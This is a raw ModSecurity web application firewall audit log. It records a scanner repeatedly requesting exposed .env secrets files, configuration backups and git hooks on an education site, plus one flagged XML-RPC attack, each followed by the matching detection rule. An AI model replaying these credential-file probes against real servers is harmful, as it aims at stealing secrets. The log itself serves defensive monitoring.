"www.mindscan.edu.in"] [uri "/.git/hooks/post-update"] [unique_id "aE8222BSQiWwwCa-v2QEyQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021851775698 663641 (- - -) Stopwatch2: 1750021851775698 663641; combined=2142, p1=475, p2=1581, p3=0, p4=0, p5=85, sr=120, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ff79b63a-Z-- --819f266d-A-- [16/Jun/2025:02:40:53.454717 +0530] aE823FfWRcme38U-qk7qiQAAAAI 185.177.72.210 51808 127.0.0.1 7081 --819f266d-B-- GET /:8080/production/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --819f266d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8183e0df075911642aa60f2edd210f941750021853; expires=Sun, 15 Jun 2025 22:10:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --819f266d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/production/.env"] [unique_id "aE823FfWRcme38U-qk7qiQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021852774074 680715 (- - -) Stopwatch2: 1750021852774074 680715; combined=2200, p1=477, p2=1620, p3=0, p4=0, p5=102, sr=115, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --819f266d-Z-- --19fe5b52-A-- [16/Jun/2025:02:40:58.743082 +0530] aE824ol8S04UZ4l67-na9AAAAAk 185.177.72.210 51992 127.0.0.1 7081 --19fe5b52-B-- GET /configuration.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --19fe5b52-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=56406cfbe6e44bc346196142186bc7f21750021858; expires=Sun, 15 Jun 2025 22:10:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --19fe5b52-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/configuration.php.bak"] [unique_id "aE824ol8S04UZ4l67-na9AAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021858041191 702007 (- - -) Stopwatch2: 1750021858041191 702007; combined=1730, p1=352, p2=1285, p3=0, p4=0, p5=93, sr=114, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --19fe5b52-Z-- --f31ded5a-A-- [16/Jun/2025:02:41:03.817918 +0530] aE8250-pZ3B--SoGku86ngAAABE 185.177.72.210 41384 127.0.0.1 7081 --f31ded5a-B-- GET /configurationtion.php.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f31ded5a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f060a6a7739dbe9dc2c4a247154de00f1750021863; expires=Sun, 15 Jun 2025 22:11:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f31ded5a-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/configurationtion.php.old"] [unique_id "aE8250-pZ3B--SoGku86ngAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021863162731 655275 (- - -) Stopwatch2: 1750021863162731 655275; combined=2028, p1=391, p2=1519, p3=0, p4=0, p5=118, sr=111, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f31ded5a-Z-- --4a01e420-A-- [16/Jun/2025:02:41:21.825062 +0530] aE82-WBSQiWwwCa-v2QE2AAAAAQ 185.177.72.210 59142 127.0.0.1 7081 --4a01e420-B-- GET /dev-env/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4a01e420-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8fc7f41804e1fd9bce0eb56546c78a1b1750021881; expires=Sun, 15 Jun 2025 22:11:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4a01e420-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/dev-env/.env"] [unique_id "aE82-WBSQiWwwCa-v2QE2AAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021881164553 660571 (- - -) Stopwatch2: 1750021881164553 660571; combined=1743, p1=391, p2=1270, p3=0, p4=0, p5=82, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4a01e420-Z-- --bf044b38-A-- [16/Jun/2025:02:41:25.738087 +0530] aE82_TW73rwPI0SU-ijw7gAAAAA 185.177.72.210 59310 127.0.0.1 7081 --bf044b38-B-- GET /:8880/library/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bf044b38-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=08af7a9a7304e35d4c647e75555293011750021885; expires=Sun, 15 Jun 2025 22:11:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bf044b38-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/library/.env"] [unique_id "aE82_TW73rwPI0SU-ijw7gAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021885065176 672986 (- - -) Stopwatch2: 1750021885065176 672986; combined=1937, p1=430, p2=1392, p3=0, p4=0, p5=115, sr=125, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bf044b38-Z-- --cc69a614-A-- [16/Jun/2025:02:41:28.838712 +0530] aE83AHwizUED0-SK4eRJ7QAAAAE 185.177.72.210 59464 127.0.0.1 7081 --cc69a614-B-- GET /routes/channels.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cc69a614-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8b4eff97d89fc532c1e68c0be1124ecf1750021888; expires=Sun, 15 Jun 2025 22:11:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cc69a614-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/routes/channels.php.bak"] [unique_id "aE83AHwizUED0-SK4eRJ7QAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021888194276 644500 (- - -) Stopwatch2: 1750021888194276 644500; combined=2059, p1=345, p2=1571, p3=0, p4=0, p5=143, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cc69a614-Z-- --7b0aec04-A-- [16/Jun/2025:02:41:30.832982 +0530] aE83AnwizUED0-SK4eRJ7gAAAAE 185.177.72.210 54072 127.0.0.1 7081 --7b0aec04-B-- GET /charts/liveObjects/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7b0aec04-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5338e7a7ff92bf3cfbb887408a07b4691750021890; expires=Sun, 15 Jun 2025 22:11:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7b0aec04-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/charts/liveObjects/.env"] [unique_id "aE83AnwizUED0-SK4eRJ7gAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021890178718 654340 (- - -) Stopwatch2: 1750021890178718 654340; combined=1808, p1=395, p2=1276, p3=0, p4=0, p5=137, sr=105, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7b0aec04-Z-- --add4f711-A-- [16/Jun/2025:02:41:41.060878 +0530] aE83DE-pZ3B--SoGku86sQAAABE 185.177.72.210 48372 127.0.0.1 7081 --add4f711-B-- GET /:8888/front-app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --add4f711-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c42ab98cc53d8ac76e2baeb718206d961750021900; expires=Sun, 15 Jun 2025 22:11:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --add4f711-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/front-app/.env"] [unique_id "aE83DE-pZ3B--SoGku86sQAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021900411231 649710 (- - -) Stopwatch2: 1750021900411231 649710; combined=1914, p1=404, p2=1402, p3=0, p4=0, p5=107, sr=108, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --add4f711-Z-- --57f0f12b-A-- [16/Jun/2025:02:41:43.213704 +0530] aE83Ds0RsCO0eBtdhx7BdAAAAAg 185.177.72.210 48476 127.0.0.1 7081 --57f0f12b-B-- GET /:9000/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --57f0f12b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8d4f07a91acc6b7811d36d9b7354b0551750021903; expires=Sun, 15 Jun 2025 22:11:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --57f0f12b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env"] [unique_id "aE83Ds0RsCO0eBtdhx7BdAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021902556372 657404 (- - -) Stopwatch2: 1750021902556372 657404; combined=2029, p1=355, p2=1587, p3=0, p4=0, p5=86, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --57f0f12b-Z-- --452b5143-A-- [16/Jun/2025:02:41:51.011989 +0530] aE83FiHEjD4mqWjYVm16MAAAABM 128.199.112.101 54552 127.0.0.1 7081 --452b5143-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --452b5143-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --452b5143-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE83FiHEjD4mqWjYVm16MAAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021910088937 923120 (- - -) Stopwatch2: 1750021910088937 923120; combined=2378, p1=352, p2=1581, p3=48, p4=69, p5=199, sr=93, sw=129, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --452b5143-Z-- --9b5c5000-A-- [16/Jun/2025:02:41:59.074948 +0530] aE83HtxCjYf3vhjKXItxWQAAAA8 185.177.72.210 54998 127.0.0.1 7081 --9b5c5000-B-- GET /khanlinks/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9b5c5000-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=51de9a5b65b45dea13bb82d1f0ed8d331750021918; expires=Sun, 15 Jun 2025 22:11:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9b5c5000-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/khanlinks/.env"] [unique_id "aE83HtxCjYf3vhjKXItxWQAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021918376837 698183 (- - -) Stopwatch2: 1750021918376837 698183; combined=1971, p1=421, p2=1441, p3=0, p4=0, p5=108, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9b5c5000-Z-- --5095f263-A-- [16/Jun/2025:02:42:02.286039 +0530] aE83IXwizUED0-SK4eRJ_wAAAAE 185.177.72.210 35566 127.0.0.1 7081 --5095f263-B-- GET /InstantCV/server/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5095f263-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=90ae8bf8fe85de77e4e2ff4258dc2a951750021922; expires=Sun, 15 Jun 2025 22:12:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5095f263-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/InstantCV/server/.env"] [unique_id "aE83IXwizUED0-SK4eRJ_wAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021921514381 771731 (- - -) Stopwatch2: 1750021921514381 771731; combined=2060, p1=385, p2=1549, p3=0, p4=0, p5=126, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5095f263-Z-- --694cdc0a-A-- [16/Jun/2025:02:42:03.283543 +0530] aE83Ik-pZ3B--SoGku86vgAAABE 185.177.72.210 35640 127.0.0.1 7081 --694cdc0a-B-- GET /maintenance.flag.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --694cdc0a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=db54ea93ce9650b0e601f33d820192581750021923; expires=Sun, 15 Jun 2025 22:12:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --694cdc0a-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".flag.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".flag.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/maintenance.flag.bak"] [unique_id "aE83Ik-pZ3B--SoGku86vgAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750021922613820 669809 (- - -) Stopwatch2: 1750021922613820 669809; combined=2660, p1=348, p2=2192, p3=0, p4=0, p5=119, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" 